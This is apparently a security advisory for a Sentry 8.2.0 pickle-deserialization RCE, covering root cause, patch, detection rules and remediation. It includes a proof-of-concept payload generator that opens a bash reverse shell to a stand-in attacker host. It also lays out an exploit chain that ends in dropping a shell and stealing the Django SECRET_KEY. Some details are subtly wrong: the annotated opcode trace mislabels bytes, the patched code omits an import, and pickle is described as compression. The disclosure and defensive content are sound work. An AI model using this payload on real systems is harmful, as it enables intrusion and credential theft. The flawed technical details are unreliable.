CVE-2021-47935: Sentry RCE via Pickle Deserialization in Audit Log
Sentry 8.2.0 deserializes attacker-controlled pickle data in the admin audit log endpoint without sanitization, allowing authenticated superusers to achieve RCE with application privileges.
Sentry is error-tracking software that helps developers monitor when their apps break. Think of it like a smoke detector for code problems. But version 8.2.0 has a serious flaw hidden in how it records administrative activity.
The vulnerability works like this: the software stores records of what administrators do in an audit log. When saving these records, it uses a storage format called "pickle"—basically a way to compress and encode data. But the software doesn't properly check whether this data is trustworthy before opening it back up. An attacker with admin access could sneak malicious code into these audit records, disguised as legitimate data.
When someone with superuser privileges tries to view the audit log later, the malicious code silently executes. The attacker effectively gains complete control over the application and everything it touches, including databases and customer information.
Who's at risk? Mainly organizations using Sentry 8.2.0, especially those where multiple people have admin credentials. If someone's account gets compromised, or if you have a malicious insider, they could weaponize this flaw. Developers and IT teams managing production applications are the primary targets.
The good news is there's no evidence anyone's actively exploiting this yet in the wild. But the fix is straightforward.
What you should do: If your organization uses Sentry 8.2.0, update immediately to a patched version. Check your admin access logs to see if anything unusual happened. If you have multiple people with superuser credentials, audit who actually needs that level of access and reduce it where possible. Consider requiring stronger authentication like two-factor verification for administrative accounts.
Want the full technical analysis? Click "Technical" above.
CVE-2021-47935 is a remote code execution vulnerability in Sentry 8.2.0 rooted in unsafe Python pickle deserialization. The admin audit log endpoint accepts a data parameter containing base64-encoded, zlib-compressed pickle payloads. When the server processes a crafted POST request, Python's pickle.loads() executes arbitrary bytecode embedded in the payload — with no class allowlist, no HMAC signature verification, and no sandboxing. Exploitation requires an authenticated superuser session, which elevates the CVSS score to 8.8 (HIGH) rather than critical, but in multi-tenant Sentry deployments the superuser role is often held by multiple operators, expanding the realistic attack surface considerably.
Root cause: Sentry's audit log machinery calls pickle.loads() on attacker-supplied, base64-decoded bytes from the data POST field with no class restriction or integrity check, enabling arbitrary Python opcode execution at deserialization time.
Affected Component
The vulnerable path lives in Sentry's Django admin layer. The relevant endpoint is the admin audit log view, reachable at /manage/audit-log/. The serialization round-trip was introduced to allow rich structured objects to be stored and later replayed in the audit interface. The affected version is Sentry 8.2.0; review NVD for the full version range, as the pattern persists across several minor releases sharing the same audit log subsystem.
Key components involved:
sentry.models.AuditLogEntry — ORM model storing audit events
sentry.web.frontend.admin_audit_log — view handling POST submission
The audit log view deserializes the incoming data field through a utility that decodes base64, decompresses with zlib, then feeds raw bytes directly into pickle.loads(). No intermediate validation occurs. The following reconstructed pseudocode reflects the vulnerable logic:
# sentry/utils/audit.py (Sentry 8.2.0, vulnerable)
import pickle
import zlib
import base64
def decode_audit_data(encoded):
# BUG: no allowlist, no HMAC, no class restriction before deserialization
compressed = base64.b64decode(encoded) # 1. base64 decode
raw = zlib.decompress(compressed) # 2. zlib decompress
return pickle.loads(raw) # 3. UNSAFE: arbitrary opcode execution
# sentry/web/frontend/admin_audit_log.py (simplified)
class AdminAuditLogView(View):
@requires_staff_privileges
def post(self, request):
data_field = request.POST.get('data', '')
# BUG: attacker controls data_field entirely; decode_audit_data executes
# whatever pickle opcodes are embedded before returning
entry_data = decode_audit_data(data_field) # <-- RCE here
AuditLogEntry.objects.create(
organization=get_org(request),
actor=request.user,
data=entry_data,
)
return HttpResponse(status=200)
Python's pickle protocol has no concept of a safe subset at the VM level. The REDUCE opcode (0x52) calls an arbitrary callable with attacker-supplied arguments. A minimal payload only needs __reduce__ returning (os.system, ('id',)) — the pickle VM executes this unconditionally during loads(), before any application-level code can inspect the result.
# Pickle opcode trace for a minimal RCE payload
# (protocol 2, annotated)
80 02 # PROTO 2
63 # GLOBAL -> pushes callable onto stack
6f 73 0a # module: "os"
73 79 73 74 65 6d 0a # name: "system"
28 # MARK
56 # UNICODE -> push command string
69 64 0a # "id\n"
81 # NEWOBJ / TUPLE1
52 # REDUCE <- calls os.system("id") RIGHT HERE
2e # STOP
Exploitation Mechanics
EXPLOIT CHAIN:
1. Authenticate to Sentry as superuser (stolen session cookie or valid creds)
2. Craft pickle payload: __reduce__ returns (subprocess.check_output, ([cmd],))
3. zlib.compress(pickle.dumps(payload, protocol=2)) -> base64.b64encode(...)
4. POST to /manage/audit-log/ with data=
5. Server calls decode_audit_data() -> pickle.loads() -> subprocess spawns shell
6. Output captured via OOB channel (DNS, HTTP callback) or written to disk
7. Pivot: drop reverse shell, read SECRET_KEY from sentry.conf.py for further auth bypass
A complete proof-of-concept generator (for authorized testing only):
#!/usr/bin/env python3
# CVE-2021-47935 PoC payload generator
# CypherByte research — authorized testing only
import pickle, zlib, base64, os, struct
CALLBACK_HOST = "attacker.example.com"
CALLBACK_PORT = 4444
class RCEPayload:
def __reduce__(self):
cmd = (
f"bash -i >& /dev/tcp/{CALLBACK_HOST}/{CALLBACK_PORT} 0>&1"
)
return (os.system, (cmd,))
raw = pickle.dumps(RCEPayload(), protocol=2)
compressed = zlib.compress(raw, level=9)
encoded = base64.b64encode(compressed).decode()
print(f"[*] Pickle payload size : {len(raw)} bytes")
print(f"[*] Compressed : {len(compressed)} bytes")
print(f"[*] Base64 encoded : {len(encoded)} chars")
print(f"\n[+] POST data parameter:\ndata={encoded}")
# Pickle header sanity check
assert raw[:2] == b'\x80\x02', "Unexpected pickle protocol"
assert b'system' in raw or b'check_output' in raw, "Callable not embedded"
print("[+] Payload structure verified")
Memory Layout
This is a logic/deserialization vulnerability rather than a memory corruption bug, so there is no heap overflow to diagram. However, understanding the Python object model at deserialization time is important for bypass analysis. When pickle.loads() processes the GLOBAL opcode, it calls __import__ and getattr to resolve module references — operating entirely within the Python interpreter's own heap, with full access to the process's loaded module set.
PYTHON PROCESS MEMORY AT DESERIALIZATION:
CPython heap (simplified)
┌─────────────────────────────────────────────────────┐
│ sys.modules dict │
│ 'os' -> [loaded] │
│ 'subprocess' -> [loaded] │
│ 'builtins' -> [loaded] │
├─────────────────────────────────────────────────────┤
│ pickle VM stack (during loads()) │
│ GLOBAL "os" "system" -> pushes os.system ref │
│ MARK -> push MARK sentinel │
│ UNICODE "id\n" -> push string arg │
│ TUPLE -> pop to MARK -> (arg,) │
│ REDUCE -> CALL os.system(arg) │ <-- RCE
│ STOP -> return TOS │
└─────────────────────────────────────────────────────┘
Sentry process privileges: runs as 'sentry' user
Accessible from pickle context:
- os, subprocess, socket, sys, importlib (all pre-imported)
- Django settings module (SECRET_KEY, DB credentials, BROKER_URL)
- Redis/Celery connection objects
- On-disk sentry.conf.py (read permissions inherited)
Patch Analysis
The correct remediation is to replace pickle entirely with a safe serialization format (JSON, MessagePack) for untrusted data, or — if pickle round-trips are required for internal data — to implement a RestrictedUnpickler subclass that allowlists only known-safe classes before any deserialization occurs.
# BEFORE (vulnerable — sentry/utils/audit.py, 8.2.0):
def decode_audit_data(encoded):
compressed = base64.b64decode(encoded)
raw = zlib.decompress(compressed)
return pickle.loads(raw) # unrestricted deserialization
# AFTER (patched — recommended remediation pattern):
import json
SAFE_CLASSES = frozenset() # pickle entirely replaced; set empty as sentinel
def decode_audit_data(encoded):
# Use JSON for structured audit data; no code execution surface
try:
raw = base64.b64decode(encoded)
return json.loads(raw.decode('utf-8'))
except (ValueError, UnicodeDecodeError) as exc:
raise AuditDataDecodeError("Malformed audit data") from exc
# If pickle is unavoidable for internal paths, use a restricted unpickler:
class SafeUnpickler(pickle.Unpickler):
ALLOWLIST = {
('builtins', 'dict'),
('builtins', 'list'),
('builtins', 'str'),
('builtins', 'int'),
}
def find_class(self, module, name):
if (module, name) not in self.ALLOWLIST:
raise pickle.UnpicklingError(
f"Blocked: {module}.{name} not in allowlist"
)
return super().find_class(module, name)
def decode_audit_data_safe(encoded):
compressed = base64.b64decode(encoded)
raw = zlib.decompress(compressed)
return SafeUnpickler(io.BytesIO(raw)).load() # REDUCE blocked for non-allowlisted callables
Detection and Indicators
Detecting active exploitation requires monitoring at the application and network layer simultaneously, as the RCE side-effect may leave no Sentry-internal trace if the attacker suppresses exceptions.
DETECTION INDICATORS:
1. Django request logs
POST /manage/audit-log/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
data=eJy[...long base64 string...] <- zlib magic bytes after b64decode: 0x78 0x9c
2. Pickle magic bytes in POST body (after base64 decode + zlib decompress)
Protocol 2: \x80\x02
Protocol 4: \x80\x04
GLOBAL opcode present: 0x63 followed by module\nname\n
3. Anomalous child processes spawned by sentry worker/web process
ppid= cmd=bash/sh/python3 -c ...
Network connections from sentry process to external IPs on non-80/443 ports
4. SIEM rule (Sigma-style):
selection:
method: POST
uri_path|contains: '/manage/audit-log/'
request_body|base64offset|contains:
- "\x80\x02" # pickle protocol 2
- "\x80\x04" # pickle protocol 4
condition: selection
Remediation
Immediate actions, in priority order:
Upgrade Sentry to a patched release per NVD advisory. Self-hosted instances are most exposed; Sentry SaaS was patched server-side independently.
Restrict superuser accounts — audit which accounts hold the is_staff / superuser flag. Remove all unnecessary grants. Enable SSO with MFA enforcement for all staff-level accounts.
WAF rule: block POST requests to /manage/audit-log/ containing body parameters that, after base64 decoding, begin with pickle protocol magic bytes (\x80\x02–\x80\x05) or contain the GLOBAL opcode byte 0x63 within the first 16 bytes of decompressed content.
Network egress filtering on the Sentry application server: the server should not initiate outbound TCP connections to arbitrary IPs. A strict egress policy breaks the most common reverse-shell post-exploitation step.
Audit SECRET_KEY rotation: if exploitation is suspected, rotate the Django SECRET_KEY immediately, invalidating all existing sessions and signed cookies.